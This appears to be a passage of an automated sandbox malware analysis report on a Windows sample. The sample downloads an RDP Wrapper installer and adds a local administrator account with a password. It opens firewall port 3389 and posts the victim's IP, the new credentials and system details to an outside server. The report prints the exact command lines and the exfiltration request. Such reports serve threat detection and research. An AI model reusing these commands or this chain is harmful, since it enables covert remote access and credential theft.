Oct 8, 2024 03:23:43.884118080 CEST	53	62243	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 03:23:43.018959045 CEST	192.168.2.8	1.1.1.1	0xdb0e	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:23:43.871272087 CEST	192.168.2.8	1.1.1.1	0xbd7e	Standard query (0)	hansgborn.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 03:23:43.174551010 CEST	1.1.1.1	192.168.2.8	0xdb0e	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:23:43.174551010 CEST	1.1.1.1	192.168.2.8	0xdb0e	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:23:43.174551010 CEST	1.1.1.1	192.168.2.8	0xdb0e	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:23:43.884118080 CEST	1.1.1.1	192.168.2.8	0xbd7e	No error (0)	hansgborn.eu	188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:23:43.884118080 CEST	1.1.1.1	192.168.2.8	0xbd7e	No error (0)	hansgborn.eu	188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

hansgborn.eu

147.45.44.104

api.ipify.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	147.45.44.104	80	2444	C:\Users\user\Desktop\hloRQZmlfg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:23:03.960208893 CEST	94	OUT	GET /prog/66f55533ca7d6_RDPWInst.exe HTTP/1.1 Host: 147.45.44.104 Connection: Keep-Alive
Oct 8, 2024 03:23:04.578062057 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 01:23:04 GMT Content-Type: application/octet-stream Content-Length: 1785344 Last-Modified: Thu, 26 Sep 2024 12:36:03 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66f55533-1b3e00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 23 d6 43 5a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 34 04 00 00 06 17 00 00 00 00 00 3c 37 04 00 00 10 00 00 00 50 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL#CZ4<7P@@`{^.text `.itext\|0 `.dataxP8@.bssOpL.idataL@.tls`.rdata`@@.reloc^`b@B.rsrc{`\|@@p@@
Oct 8, 2024 03:23:04.578075886 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @Boolean@FalseTrueSystem4@AnsiChar@P@Char@h@ShortInt@@SmallInt
Oct 8, 2024 03:23:04.578092098 CEST	448	IN	Data Raw: 15 40 00 42 00 f4 ff b2 15 40 00 43 00 f4 ff f0 15 40 00 42 00 f4 ff 1f 16 40 00 42 00 f4 ff 48 16 40 00 43 00 f4 ff 7c 16 40 00 43 00 f4 ff b5 16 40 00 43 00 f4 ff e0 16 40 00 43 00 f4 ff 09 17 40 00 43 00 f4 ff 35 17 40 00 43 00 f4 ff 71 17 40 Data Ascii: @B@C@B@BH@C\|@C@C@C@C5@Cq@C@C@C-@Bg@B@B@C%@CV@C@J@J@J@Ju@J@J@J@JO@Kz@J@MTOb
Oct 8, 2024 03:23:04.578176975 CEST	1236	IN	Data Raw: 58 12 40 00 08 00 01 08 d0 1b 40 00 00 00 04 53 65 6c 66 02 00 02 00 34 00 64 50 40 00 09 43 6c 61 73 73 4e 61 6d 65 03 00 10 12 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 40 10 12 40 00 01 00 01 01 02 00 02 00 39 00 7c 50 40 00 0b Data Ascii: X@@Self4dP@ClassName@Self@@9\|P@ClassNameIs@Self@Name+Q@ClassParentX@Self)(T@ClassInfo@Self,TQ@InstanceSize@
Oct 8, 2024 03:23:04.578186989 CEST	1236	IN	Data Raw: 4d 65 73 73 61 67 65 02 00 02 00 3f 00 4c 54 40 00 0e 44 65 66 61 75 6c 74 48 61 6e 64 6c 65 72 03 00 00 00 00 00 08 00 02 08 d0 1b 40 00 00 00 04 53 65 6c 66 02 00 01 00 00 00 00 01 00 07 4d 65 73 73 61 67 65 02 00 02 00 2b 00 24 51 40 00 0b 4e Data Ascii: Message?LT@DefaultHandler@SelfMessage+$Q@NewInstance@Self,@Q@FreeInstance@Self'\|Q@Destroy@Self@@TObjectd@System@
Oct 8, 2024 03:23:04.578203917 CEST	1236	IN	Data Raw: 08 56 49 6e 74 65 67 65 72 02 00 54 11 40 00 08 00 00 00 02 07 56 53 69 6e 67 6c 65 02 00 78 11 40 00 08 00 00 00 02 07 56 44 6f 75 62 6c 65 02 00 88 11 40 00 08 00 00 00 02 09 56 43 75 72 72 65 6e 63 79 02 00 14 1e 40 00 08 00 00 00 02 05 56 44 Data Ascii: VIntegerT@VSinglex@VDouble@VCurrency@VDate@VOleStr@VDispatchl@VError@VBoolean@VUnknownd@VShortInt@VByte@VWord@
Oct 8, 2024 03:23:04.578258038 CEST	1236	IN	Data Raw: 25 78 c4 44 00 8b c0 ff 25 74 c4 44 00 8b c0 ff 25 70 c4 44 00 8b c0 ff 25 6c c4 44 00 8b c0 ff 25 68 c4 44 00 8b c0 ff 25 64 c4 44 00 8b c0 ff 25 60 c4 44 00 8b c0 ff 25 08 c4 44 00 8b c0 ff 25 5c c4 44 00 8b c0 ff 25 58 c4 44 00 8b c0 ff 25 54 Data Ascii: %xD%tD%pD%lD%hD%dD%`D%D%\D%XD%TD%D%D%D%PD%LD%D%D%D%HD%DD%@D%<D%8DS$DTBD$,t\$0D[@%4D
Oct 8, 2024 03:23:04.578270912 CEST	1236	IN	Data Raw: fc 8b 0d 3c 7a 44 00 29 c8 01 ca eb b9 c3 90 53 8b d8 e8 8c ff ff ff 6a 04 68 00 10 00 00 68 f0 ff 13 00 6a 00 e8 ed fb ff ff 85 c0 74 4d 8b 15 28 7a 44 00 8b c8 c7 01 24 7a 44 00 a3 28 7a 44 00 89 51 04 89 02 8b d0 81 c2 f0 ff 13 00 8b ca 83 e9 Data Ascii: <zD)SjhhjtM(zD$zD(zDQ+<zD+8zD[3<zD3[=MpDt=)=xDu jD3tjlD3uSVWUNjhVj#
Oct 8, 2024 03:23:04.578289032 CEST	552	IN	Data Raw: 00 39 d7 72 02 89 cf 29 fe 29 3d 3c 7a 44 00 89 35 38 7a 44 00 eb 21 0f b7 43 1a 89 c7 e8 19 fb ff ff 89 c6 85 c0 75 10 a2 34 7a 44 00 88 03 5f 5e 5b c3 80 64 37 fc f7 8d 4f 06 89 4e fc 31 c0 a2 34 7a 44 00 89 1e 89 46 08 c7 46 0c 01 00 00 00 89 Data Ascii: 9r))=<zD58zD!Cu4zD_^[d7ON14zDFFsF KS){p_^[%4zDtK=xDuj%4zDt*j=,0u#DzDt
Oct 8, 2024 03:23:04.578303099 CEST	1236	IN	Data Raw: 42 14 8b 4a 04 89 48 04 89 41 14 31 c0 39 53 10 75 03 89 43 0c 88 03 89 d0 8b 52 fc 8a 1d 4d 70 44 00 e9 85 00 00 00 b8 00 01 00 00 f0 0f b0 23 74 94 f3 90 80 3d d5 78 44 00 00 75 ea 51 52 6a 00 e8 e5 f4 ff ff 5a 59 b8 00 01 00 00 f0 0f b0 23 0f Data Ascii: BJHA19SuCRMpD#t=xDuQRjZY#oQRjZY%4zDtB=xDuj%4zDt!jVuD3L3u5L3Fu@tPCF\3Y4zD
Oct 8, 2024 03:23:04.583029985 CEST	1236	IN	Data Raw: 0a 04 00 73 12 f7 db d9 ee dd 14 13 83 c3 08 78 f8 89 0a dd c0 d9 f7 5b c3 8b c0 8b c8 8b d1 83 ea 04 8b 12 83 e2 f0 03 d1 8b c2 8b d0 83 ea 04 8b 12 83 e2 f0 85 d2 75 02 33 c0 c3 8d 40 00 83 3d 3c 7a 44 00 00 74 1a 8b 15 38 7a 44 00 3b d0 72 10 Data Ascii: sx[u3@=<zDt8zD;r;8zDs=<zDt8zD3@SV ;BuZ;ZvB+^[BH^[WA_p0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49710	104.26.12.205	80	2444	C:\Users\user\Desktop\hloRQZmlfg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:23:43.182337046 CEST	63	OUT	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive
Oct 8, 2024 03:23:43.656218052 CEST	227	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:23:43 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cf253c5697b43ff-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 8, 2024 03:23:43.669517040 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 8, 2024 03:23:43.773303986 CEST	227	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:23:43 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cf253c63a7043ff-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49712	188.114.96.3	443	2444	C:\Users\user\Desktop\hloRQZmlfg.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:23:44 UTC	166	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: hansgborn.eu Content-Length: 193 Expect: 100-continue Connection: Keep-Alive
2024-10-08 01:23:44 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-08 01:23:44 UTC	193	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 75 73 65 72 3d 52 44 50 55 73 65 72 5f 31 65 34 37 61 33 39 33 26 70 61 73 73 77 6f 72 64 3d 47 45 64 74 76 6e 35 38 72 66 64 72 26 6f 73 5f 6e 61 6d 65 3d 57 69 6e 64 6f 77 73 2b 31 30 2b 50 72 6f 26 70 72 6f 63 65 73 73 6f 72 3d 49 6e 74 65 6c 28 52 29 2b 43 6f 72 65 28 54 4d 29 32 2b 43 50 55 2b 36 36 30 30 2b 25 34 30 2b 32 2e 34 30 2b 47 48 7a 26 63 6f 72 65 73 3d 34 26 67 70 75 3d 33 55 32 45 41 53 32 31 26 67 70 75 5f 6d 65 6d 6f 72 79 3d 31 30 32 34 26 72 61 6d 3d 34 30 39 35 26 64 69 73 6b 5f 73 70 61 63 65 3d 33 38 33 Data Ascii: ip=8.46.123.33&user=RDPUser_1e47a393&password=GEdtvn58rfdr&os_name=Windows+10+Pro&processor=Intel(R)+Core(TM)2+CPU+6600+%40+2.40+GHz&cores=4&gpu=3U2EAS21&gpu_memory=1024&ram=4095&disk_space=383
2024-10-08 01:23:44 UTC	717	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 01:23:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n78Cuf5jALD%2BIbhiTCL4zbEwvNVt7zS7jEAlYva6PGfsrEFdGWZ5N3o80l8KBOuvC9cd%2FGlXNVidCcCS5S7I%2Fs3dcjDUXlBY9rTtQnB2KT6vpZPClKSJuOLsjYLOJus%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf253cb5d417c8d-EWR 92 <html> <head><title>404 Not Found</title></head> <body> <center><h1>404 Not Found</h1></center> <hr><center>nginx</center> </body> </html>
2024-10-08 01:23:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	21:23:01
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\hloRQZmlfg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\hloRQZmlfg.exe"
Imagebase:	0x880000
File size:	76'800 bytes
MD5 hash:	CEE4E023E6AFAAA51F600CAEC3469215
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000000.1405997855.0000000000882000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1919966763.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:23:02
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c net user
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:23:02
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:23:02
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net user
Imagebase:	0x210000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:23:02
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 user
Imagebase:	0xea0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:23:04
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:23:04
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:23:04
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i
Imagebase:	0x400000
File size:	1'785'344 bytes
MD5 hash:	C213162C86BB943BCDF91B3DF381D2F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000008.00000000.1434233686.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: 00000008.00000000.1434308891.0000000000450000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs Detection: 78%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	21:23:07
Start date:	07/10/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
Imagebase:	0x7ff607d80000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	21:23:07
Start date:	07/10/2024
Path:	C:\Windows\System32\drivers\rdpvideominiport.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	32'600 bytes
MD5 hash:	77FF15B9237D62A5CBC6C80E5B20A492
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	21:23:07
Start date:	07/10/2024
Path:	C:\Windows\System32\drivers\rdpdr.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	169'984 bytes
MD5 hash:	64991B36F0BD38026F7589572C98E3D6
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	21:23:07
Start date:	07/10/2024
Path:	C:\Windows\System32\drivers\tsusbhub.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	137'728 bytes
MD5 hash:	CC6D4A26254EB72C93AC848ECFCFB4AF
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	21:23:37
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c net user RDPUser_1e47a393 GEdtvn58rfdr /add
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	21:23:37
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	21:23:37
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net user RDPUser_1e47a393 GEdtvn58rfdr /add
Imagebase:	0x210000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	21:23:37
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 user RDPUser_1e47a393 GEdtvn58rfdr /add
Imagebase:	0xea0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	21:23:38
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c net localgroup
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	21:23:38
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	21:23:38
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net localgroup
Imagebase:	0x210000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	21:23:38
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 localgroup
Imagebase:	0xea0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	21:23:38
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	21:23:38
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	21:23:38
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
Imagebase:	0x15c0000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	21:23:38
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c net localgroup "Administrators" RDPUser_1e47a393 /add
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	21:23:38
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	21:23:38
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net localgroup "Administrators" RDPUser_1e47a393 /add
Imagebase:	0x210000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	21:23:38
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 localgroup "Administrators" RDPUser_1e47a393 /add
Imagebase:	0xea0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	21:23:43
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2444 -s 2756
Imagebase:	0x900000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 02AD3930 Relevance: 5.4, Strings: 4, Instructions: 357COMMON

Download Yara Rule

Strings

(o, xrefs: 02AD3AD5
(o, xrefs: 02AD3AC9
(o, xrefs: 02AD39E5
(o, xrefs: 02AD39D9

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID: (o$(o$(o$(o
API String ID: 0-3218871382
Opcode ID: 1ab2048f5c1328a45535cd25aa0e4160154edc4567655737aed7ab10895f3e3e
Instruction ID: 0e90b7c6ab10a1d1e0e6658b1b23c05e5c6eb1982bf64ff24fa8de98f91b04d1
Opcode Fuzzy Hash: 1ab2048f5c1328a45535cd25aa0e4160154edc4567655737aed7ab10895f3e3e
Instruction Fuzzy Hash: 35E14B74A002058FCB15EFA9D584A9EBBF2EF89310B1485A9E406EF365DF30AD49CF51

Function 02AD30C8 Relevance: 5.2, Strings: 4, Instructions: 205COMMON

Download Yara Rule

Strings

(o, xrefs: 02AD30FD
(o, xrefs: 02AD312D
(o, xrefs: 02AD30F1
(o, xrefs: 02AD3121

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID: (o$(o$(o$(o
API String ID: 0-3218871382
Opcode ID: 552d891a400081f7f91d1709dbfe3e91d9a7e70e20e06623641c186cf25916d1
Instruction ID: 2aae4a19e1bfade281d95585918d0330b4a85c093187682901d0de2939480e1a
Opcode Fuzzy Hash: 552d891a400081f7f91d1709dbfe3e91d9a7e70e20e06623641c186cf25916d1
Instruction Fuzzy Hash: D8719135B006018FEB18EB7A881176EB7E6EFCA700F14856DD456AB394DE35EC05CBA1

Function 02AD30B8 Relevance: 5.1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

Strings

(o, xrefs: 02AD30FD
